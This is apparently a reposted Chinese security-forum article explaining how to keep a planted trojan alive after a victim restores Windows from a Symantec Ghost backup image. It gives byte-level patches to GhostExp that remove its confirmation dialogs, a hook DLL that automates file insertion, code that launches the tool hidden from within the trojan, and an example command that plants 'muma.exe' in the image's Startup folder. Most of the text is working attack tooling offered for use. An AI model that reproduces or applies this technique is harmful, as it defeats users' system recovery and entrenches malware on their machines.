穿透ghost种植木马
- 发表于
- 周边
标 题: 【原创】穿透ghost种植木马
作 者: yirucandy
时 间: 2014-07-25,17:21:33
链 接: http://bbs.pediy.com/showthread.php?t=190489
好不容易过掉各种杀毒软件、防火墙种上的木马,不能当用户使用ghost镜像还原系统后就失效了。本文描述如何把木马写入ghost镜像中,当用户还原后木马仍然启用。
1、前言:
GHO文件系统架构:
GHO文件格式非常复杂。设计者在最初考虑到多种情况,例如是否分卷(分为多个文件),是否支持网络安装(多台机器使用网络同时安装),是否录制在磁带上(要求GHO文件具有流格式),可以支持多少种文件系统等等。这使得GHO文件格式具有分层特性。
最下层的格式为GHO基础流。GHO基础流承载磁盘数据。基础流可以为压缩流或者非压缩流,根据不同的要求,压缩流又分为快速(FAST)压缩流和高比例(HIGH)压缩流。GHO基础流用自定义的结构,将磁盘上的冗余空间排除掉。实验发现,基础流承载的数据,都是磁盘中实际使用的数据,即在文件系统中登记的数据(文件或者目录结构等),而其它空白数据,比如已经删除的文件数据等等,并未在基础流中记录。由于涉及到文件系统,基础流并没有完全脱离上层流的映像。这是GHO文件格式难以破解的第一个原因。
基础流上面是GHO文件系统流。通过IDA反汇编分析可以发现,GHO基础流上面的文件系统流是真正的文件系统操作。比如FAT32流使用的逻辑就是在文件系统中处理FAT32格式的逻辑,NTFS使用的逻辑也是真实的NTFS逻辑。这也意味着,对于Linux使用的EXT3等文件系统,GHO并没有文件系统层次上的支持(高版本可能已经开始支持了)。由于文件系统众多,GHO也不能完全支持一切文件系统,高层文件系统和GHO基础流之间还有相互依赖的关系,这是GHO文件格式难以破解的第二个原因。
GHO文件提供非重整格式。原则上讲,应当是对磁盘的完全无损拷贝,但是试验中测试发现,即便使用非重整格式,生成的GHO文件也被修改过。其修改原则仍然依赖于GHO基础流。比如制作一个NTFS分区的非重整拷贝,根据NTFS文件系统格式寻找二进制位置,仍然不能准确定位,也就是说,非重整模式并不是对磁盘的真正的无损拷贝。这是GHO文件格式难以破解的第三个原因。
经过一段时间研究,发现直接破解GHO文件格式,必须首先破解GHO基础流格式,然后破解基础流和高层文件系统比如FAT32和NTFS之间的关系,最后还要保证附加信息准确的翻译,这个工作有太多的不确定性。所以最后决定使用Symantec出品的GhostExp作为读写工具,进行GHO文件的读写,如下图:
也就是说,借用现有的GhostExp读写功能,而不是通过分析文件系统格式来进行读写。这样做的好处在于,可以比较容易的实现GHO的压缩和非压缩,磁盘和分区模式,FAT32/NTFS等文件系统中的文件的读写,即只要Symantec支持的格式,我们都能操作。
2、插入代码并控制GhostExp的原理:
Symantec 出产Ghost,必须向用户提供GHO文件的脱机修改功能;但是Symantec拒绝公开任何GHO文件格式的信息,所以Symantec必须自己提供一个修改该工具。这个工具必须能够修改该GHO文件中的内容,准确识别各个GHO文件版本,准确处理压缩非压缩和不同文件系统,准确处理分卷文件等等。这个GhostExp正是我们需要的功能。然而因为某种原因,用户只能手工操作GhostExp,进行文件的增删改操作。GhostExp不提供外部调用或者命令行模式,所以,修改GhostExp以提供命令行模式,进而允许其它进程调用,就成了这个项目的主要工作了。
GhostExp是一个MFC程序,由VS2005开发,我获得的版本为Debug版,有少量Debug符号可以使用,而且IDA 对于MFC 架构的识别也比较好,这对分析较有帮助。
修改一个现有的可执行文件,并使得它提供特殊功能,有很多限制。最简单点的方法,是在这个可执行文件的引入表中增加一个DLL,在适当的位置调用这个DLL中的特定函数,在DLL函数中再实现需要控制可执行文件的相关代码。也就是说,DLL将会分析命令行输入,按照命令行输入的要求,模拟人的操作,产生需要的效果。
添加的DLL为GWDLL.DLL。DLL讲先于Application的执行。在DLL启动时,调用Initialize函数,使用
LPSTR cmd = ::GetCommandLineA();
获取当前命令行内容,对命令行内容进行分析,获得参数列表。稍后会创建一个线程,进行手工操作的模拟。
为什么选择模拟操作,能否直接调用GhostExp中的特定代码,实现直接读写?
根据分析,GhostExp为提高性能,在文件系统格式分析和GHO文件读写上使用了多线程。比如启动GhostExp并打开GHO文件的时候,左边显示文件目录树的过程,就是由文件系统加载线程实现的。
对于当前打开的GHO文件,文件系统加载线程(GhostImageLoadingThread,参看IDB文件)负责分析当前GHO文件,并建立内部的目录树表示。这个目录树表示再被主线程转化为TreeNode表示,最后显示出来。
如果可以准确的使用内部目录树表示,那么也可以绕过GUI操作。可是内部目录树表示存在于不确定位置,而且结构随着文件系统不同而不同,所以只能使用GUI层操作TreeNode的方法定位特定目录和文件。
为了找到TreeView和ListView,在CWinApp::OnInitialize的某个早期位置,生成主窗口之后,修改代码指向GWDLL中的Connect方法,传递CFrameWnd指针,从此指针+0x20处获得主窗口句柄。
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
void WINAPI Connect(PVOID frame) { __asm push esi; if (frame!=0) { if (ConnectMainWindow(*((HWND*)(((PCHAR)frame)+0x20)))) { //OK } } __asm pop esi; __asm mov eax, [esi]; } |
通过FindWindowEx找到TreeView和ListView的句柄,并子类化主窗口。
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
BOOL ConnectMainWindow(HWND hwnd) { if (hwnd!=0) { MainWindow = hwnd; if ((PrevWindowProc = (WNDPROC)::SetWindowLongPtr( MainWindow, GWLP_WNDPROC, (LONG)MainWindowProc))!=0) { return ConnectControls(MainWindow); } } return FALSE; } |
为什么要子类化主窗口?
添加删除等操作的结束,需要有一个通知。模拟线程必须得到这个通知,才能知道何时退出命令状态,也就是说,知道GhostExp完成了需要的操作以后,可以安全关闭GhostExp。内联线程并使用WaitForSingleObject是首选的方法,但是实验表明,这个方法导致不明原因的死锁。GhostExp线程在完成操作之后,对主窗口发送一个值为0x48C的消息,这个消息标志着操作结束(进而在状态条上显示“完成”),我们通过子类化主窗口就可以截获这个消息,进而得知操作完成,然后才能安全的结束进程。
子类化Proc定义如下:
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
LRESULT CALLBACK MainWindowProc( HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam ){ if (hwnd == MainWindow) { if (uMsg == COMPLETE_MESSAGE) { LastSignature = -1;//标识当前操作已经完成。 } } return PrevWindowProc!=0 ? ::CallWindowProc(PrevWindowProc,hwnd,uMsg,wParam,lParam) : 0; } |
此后,GhostExp启动文件系统加载线程。
我们在启动文件系统加载线程的函数的尾部手工插入代码,使得调用转移到GWDLL中的HOOK函数。
代码:
1 2 3 4 5 6 7 8 9 10 11 12 |
void WINAPI Hook(HANDLE handle) { if (!Started && handle!=0 && Commanding) { Started = TRUE; if (MainWindow!=0) { //NOTICE: The main thread is started to continue working on commands. ::CreateThread(NULL, 4096, MainThread, (LPVOID)handle, 0, &ThreadID); } } } |
这个函数启动MainThread线程,这个线程就是模拟手工操作的线程。MainThread等待加载线程结束之后,进行手工操作模拟。
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
DWORD WINAPI MainThread(LPVOID param) { HANDLE handle = (HANDLE) param; if (handle!=0 && Commanding) { ::WaitForSingleObject(handle, -1); //等待加载线程结束 UINT ec = -1; if (ProcessGhostCommand(Arguments, Argscount, ec)) { //OK } if (MainWindow!=0) { for(int i = 0;i<16;i++) { ::PostMessage(MainWindow, WM_QUIT, ec, 0); } } else { ::ExitProcess(ec); } } return 0; } |
MainThread完成ProcessGhostCommand之后,直接PostMessage(WM_QUIT)退出。不用PostQuitMessage的原因在于,PostQuitMessage将会把WM_QUIT推送到MainThread线程的MessagePool之中,而这不是我们需要的。我们要把这个WM_QUIT推送到主窗口对应的主线程之中,保证主线程退出,即保证应用程序退出。
模拟手工操作是怎样实现的?
由于GhostExp内部工作原理比较复杂,直接调用内部函数的实验经常得到死锁的结果。使用GUI操作模拟显然更为安全可靠。具体的说,就是用MainThread模拟用户点击左边的TreeView中的节点,展开并定位到特定目录,然后模拟用户选择右边的ListView中的项目,实现添加、删除、提取等操作。
无论添加删除还是任意操作,首先要定位到目标位置,也就是说,保证左边的TreeView展开到特定目录,然后保证右边显示了需要显示的项目,在必要的时候(比如获取或者删除)要选定右边的项目。这个过程称为目标定位(LocateTarget)。具体工作方式和原理,请参阅LocateTarget,FindTreeNode等函数(在GWDLL项目,GWDLL.CPP文件中)
找到特定文件或者目录之后,MainThread会根据最开始记录的命令行参数,选择特定的操作。添加和替换操作实际上模拟了GhostExp的粘贴操作。通过Spy++可以获取GhostExp右键菜单中的粘贴、复制删除等MenuID(由vs打开即可看到)。通过发送WM_COMMAND消息就可以发送这些命令到主窗口,进而得到执行。
需要注意的是,由于模拟复制和粘贴操作会使用剪切板,在一个极短的时间里面,剪切板中可能包含文件路径。
此外,为了保证命令直接执行而不弹出任何提示(因为这里不可能有用户交互),删除、替换和添加等操作的提示对话框都必须被屏蔽,这是通过手工二进制修改该完成的。
如何判断命令结束并退出:
使用SendMessage发送WM_COMMAND命令并携带MenuID,仅仅是触发命令开始执行。因为GhostExp使用线程处理添加删除等操作,所以必须等待线程完成,才能确认命令完成。先前子类化主窗口,就是为了这个目的。
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
WPARAM WaitCompletion(DWORD dwTime) { WPARAM Signature = UNKNOWN_SIGNATURE; while(true) { Signature = LastSignature; if (Signature!= UNKNOWN_SIGNATURE) { LastSignature = UNKNOWN_SIGNATURE; break; } ::Sleep(dwTime); } return Signature; } |
当命令发送之后,MainThread将进入循环等待状态,直到发现退出信号才能退出。这个退出信号是由子类化过程发送的,这就保证了操作的结束通知一定被收到。
对GhostExp的二进制改动的细节:
(1)引入表修改
增加 GWDLL.DLL,引入函数 Connect, Hook, Block。 其中Block函数暂时未使用。但是为了保证其它二进制修改正常工作,请保证引入。
建议使用LordPE或者PEeditor添加引入表项目。
(2)指令修改
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 |
(1) RVA 0x00415DC8 (Offset 0x0015dc8):禁止启动时Splash窗口显示 原指令: .text:00415DC8 74 78 jz short loc_415E42 修改为: .text:00415DC8 EB 78 jmp short loc_415E42 (2) RVA 0x004948f1 (Offset 0x000948f1):禁用注册表GHO文件类型注册。防止修改过的GhostExp自动打开GHO文件 原指令: .text:004948F1 cmp dword ptr [ecx+58h], 0 .text:004948F5 jnz short $LN8_19 .text:004948F5 .text:004948F7 call ASSERT ; MFC 3.1/4.0/4.2/8.0 32bit .text:004948F7 83 79 58 00 75 05 E8 64 35 FF FF 修改为: .text:004948F1 C2 04 00 retn 4 .text:004948F4 90 90 90 90 90 90 90 90 nop(8) ; 使用nop完全抹除8字节。 C2 04 00 90 90 90 90 90 90 90 90 (3) RVA 0x00496980 (Offset 0x00096980):获取窗口句柄,调用Connect函数传递到GWDLL。 原指令: 00496980 8B 48 04 mov ecx,dword ptr [eax+4] 00496983 E8 73 DC FF FF call 004945FB ;CCmdTarget::BeginWaitCursor(void) 00496988 8B 06 mov eax,dword ptr [esi] 修改为: 00496980 FF 75 F0 push [ebp-0x10] 00496983 FF 15 1F 31 59 00 call dword ptr [0059311F] ;Connect 00496989 90 nop 原指令: .text:004969E5 8D 4D 0B lea ecx, [ebp+0Bh] ; <suspicious> .text:004969E8 E8 53 D4 F8 FF call RestoreNormalCursor 修改为: .text:004969E5 90 90 90 90 90 90 90 90 nop(8) ; 使用nop完全抹除8字节。 原指令: .text:00496A02 8D 4D 0B lea ecx, [ebp+0Bh] ; <suspicious> .text:00496A05 E8 36 D4 F8 FF call RestoreNormalCursor 修改为: .text: 00496A02 90 90 90 90 90 90 90 90 nop(8) ; 使用nop完全抹除8字节。 (4) RVA 0x00444BB2(Offset 0x00044bb2): 在加载映像线程尾部加入Block函数调用 原指令: .text:00444BB2 C2 0C 00 retn 0Ch .text:00444BB2 .text:00444BB2 BeginGhostImageLoadingThread endp 修改为: .text:00444BB2 50 PUSH EAX .text:00444BB3 FF 70 2C PUSH DWORD PTR DS:[EAX+2C] .text:00444BB6 FF 15 23 31 59 00 CALL DWORD PTR DS:[00593123] ;Call Hook .text:00444BBC 58 POP EAX .text:00444BBD C2 0C 00 RETN 0C 50 FF 70 2C FF 15 23 31 59 00 58 C2 0C 00 (5) RVA 0x00430550 (Offset 0x0030550): 禁用排序函数调用,防止堆栈溢出(由GWDLL中创建的线程引起的错误递归,导致的堆栈溢出). 原指令(函数): .text:00430550 Call_SortChild_CallBack proc near .text:00430550 .text:00430550 lParam = dword ptr 4 .text:00430550 .text:00430550 8B 44 24 04 mov eax, [esp+lParam] .text:00430554 8B 49 20 mov ecx, [ecx+20h] ; .text:00430557 50 push eax ; lParam .text:00430558 6A 00 push 0 ; wParam .text:0043055A 68 15 11 00 00 push 1115h ; TVM_SORTCHILDRENCB .text:0043055F 51 push ecx ; hWnd .text:00430560 FF 15 C4 D6 50 00 call ds:SendMessageA .text:00430566 C2 04 00 retn 4 .text:00430566 .text:00430566 Call_SortChild_CallBack endp 修改为(对函数做直接返回处理): .text:00430550 C2 04 00 retn 4; .text:00430553 90 nop; C2 04 00 90 (6) RVA 0x0042DB57 (Offset 0x0002DB57): 禁止“删除”对话框的显示 原指令: .text:0042DB57 8B 00 mov eax, [eax] .text:0042DB59 8B 7C 24 14 mov edi, [esp+1A4h+var_190] .text:0042DB5D 6A 24 push 24h ; uType .text:0042DB5F 50 push eax ; int .text:0042DB60 57 push edi ; lpText .text:0042DB61 8B CE mov ecx, esi .text:0042DB63 C6 84 24 8C 01 00+ mov byte ptr [esp+18Ch], 6 ; .text:0042DB6B E8 01 E3 05 00 call ShowPromptDialog .text:0042DB6B .text:0042DB70 83 F8 06 cmp eax, 6 ; eax==6: yes 替换为: 0042DB5D 90 90 90 90 nop nop nop nop 0042DB6B B8 06 00 00 00 mov eax, 6 90 90 90 90 B8 06 00 00 00 原指令: .text:0042D987 8B 00 mov eax, [eax] .text:0042D989 8B 7C 24 14 mov edi, [esp+188h+var_174] .text:0042D98D 6A 24 push 24h ; '$' ; uType .text:0042D98F 50 push eax ; int .text:0042D990 57 push edi ; lpText .text:0042D991 8B CE mov ecx, esi .text:0042D993 C6 84 24 8C 01 00 mov byte ptr [esp+194h+v_8], 2 .text:0042D99B E8 D1 E4 05 00 call ShowPromptDialog .text:0042D99B .text:0042D9A0 83 F8 06 cmp eax, 6 替换为: text:0042D98D 90 90 90 90 nop nop nop nop text:0042D99B B8 06 00 00 00 mov eax, 6 90 90 90 90 B8 06 00 00 00 (8) RVA 0x0041BEC0 (Offset 0x0001BEC0):禁止“替换”对话框的显示 原指令: .text:0041BEC0 E8 77 64 07 00 call CDialog::DoModal(void) 修改为:(全部替换) .text:0041BEC0 B8 03 00 00 00 mov eax, 03 ; B8 03 00 00 00 |
3、如何使用修改后的GhostExp:
修改后的GhostExp,引用了GWDLL.DLL,所以必须和GWDLL.DLL同时出现,或者GWDLL.DLL存在于可以找到的位置。修改后的GhostExp,正常情况下和普通GhostExp的使用没有区别,只是它不会将自己注册为GHO的打开方式,也不会显示Splash画面;删除特定文件不会有提示,发现重复文件则直接替换。
使用修改该后的GhostExp的标准场景为:在木马或者其它应用程序中使用CreateProcess启动修改后的GhostExp,设定标志使得GhostExp不显示界面。
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
DWORD RunProcess(char* commandline) { DWORD ec = -1; if (commandline!=0) { STARTUPINFO si={0}; si.cb = sizeof(si); PROCESS_INFORMATION pi={0}; //IMPORTANT: si.dwFlags = STARTF_USESHOWWINDOW; //使用显示标志: si.wShowWindow = SW_HIDE; //标识为不显示界面 BOOL done = ::CreateProcess( 0, commandline, 0, 0, FALSE, 0, 0, 0, &si, &pi ); if (done && pi.hProcess!=0) { //Wait until GhostExp exits ::WaitForSingleObject(pi.hProcess, -1); ::GetExitCodeProcess(pi.hProcess, &ec); } } return ec; } |
创建进程后,等待进程终止,并获得返回代码。
如果返回代码为非负数,则执行成功;否则执行失败。
调用CreateProcess的时候传入的commandline参数,应具有如下格式:
“GhostExp全路径” “GHO文件全路径” “操作符” “目标路径” “源路径”
每个参数必须由引号括起来,以防路径中的空格打乱参数位置。
例如要种植的木马实现Ghost穿透,先拷贝Ghostexp.exe和GWDLL.DLL到被控端C盘下,然后调用RunProcess函数,并传入如下参数:C:\Ghostexp.exe“C:\ghost.gho ” “+” “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\muma.exe” “C:\muma.exe”。这样当用户还原ghost时,muma.exe就回存在于自启动目录了。
测试程序:
GW.EXE 为修改后的GhostExp的使用示例,GhostExp.EXE以及GW.DLL 应在同一目录中。
GW.exe 使用以下格式调用:
Gw.exe “gho 文件完整路径” “操作” “目标路径” “源路径”
注意!必须在所有的参数上都使用英文半角引号。因为大多涉及到路径,而路径中可能存在空格。
如果操作成功,返回非负整数,否则返回-1或者其它负数。
其中操作分为:
- + 添加文件,如果文件已经存在则添加失败
- -删除文件,如果文件不存在则失败
- *替换文件,如果文件不存在则添加,否则替换
- ?测试存在,如果文件存在则返回成功
- #获取内容,如果文件存在则获取其中的内容,否则返回失败
以上操作都针对文件,添加、替换和获取不针对目录,即不支持目录级别的添加、替换、获取操作。
目标路径:在Gho文件中的路径称为目标路径。由于Gho文件不记录盘符,在GhostExp中也无法看到C:、D:等盘,目标路径给出的盘符是一个人为定义。其中C:指Gho文件中的第一个分区。如果有多个分区,则D:指第二个分区,依次类推。所有操作都涉及目标路径。
源路径:在真实文件系统上的文件路径为源路径。源路径用于添加,替换和获取。在获取操作中,源路径实际上是文件被获取到的位置,相当于常规意义上的目标路径。
下图为在命令行中调用gw.exe。
下图为命令执行成功后,muma.exe被植入的截图:
原文连接
的情况下转载,若非则不得使用我方内容。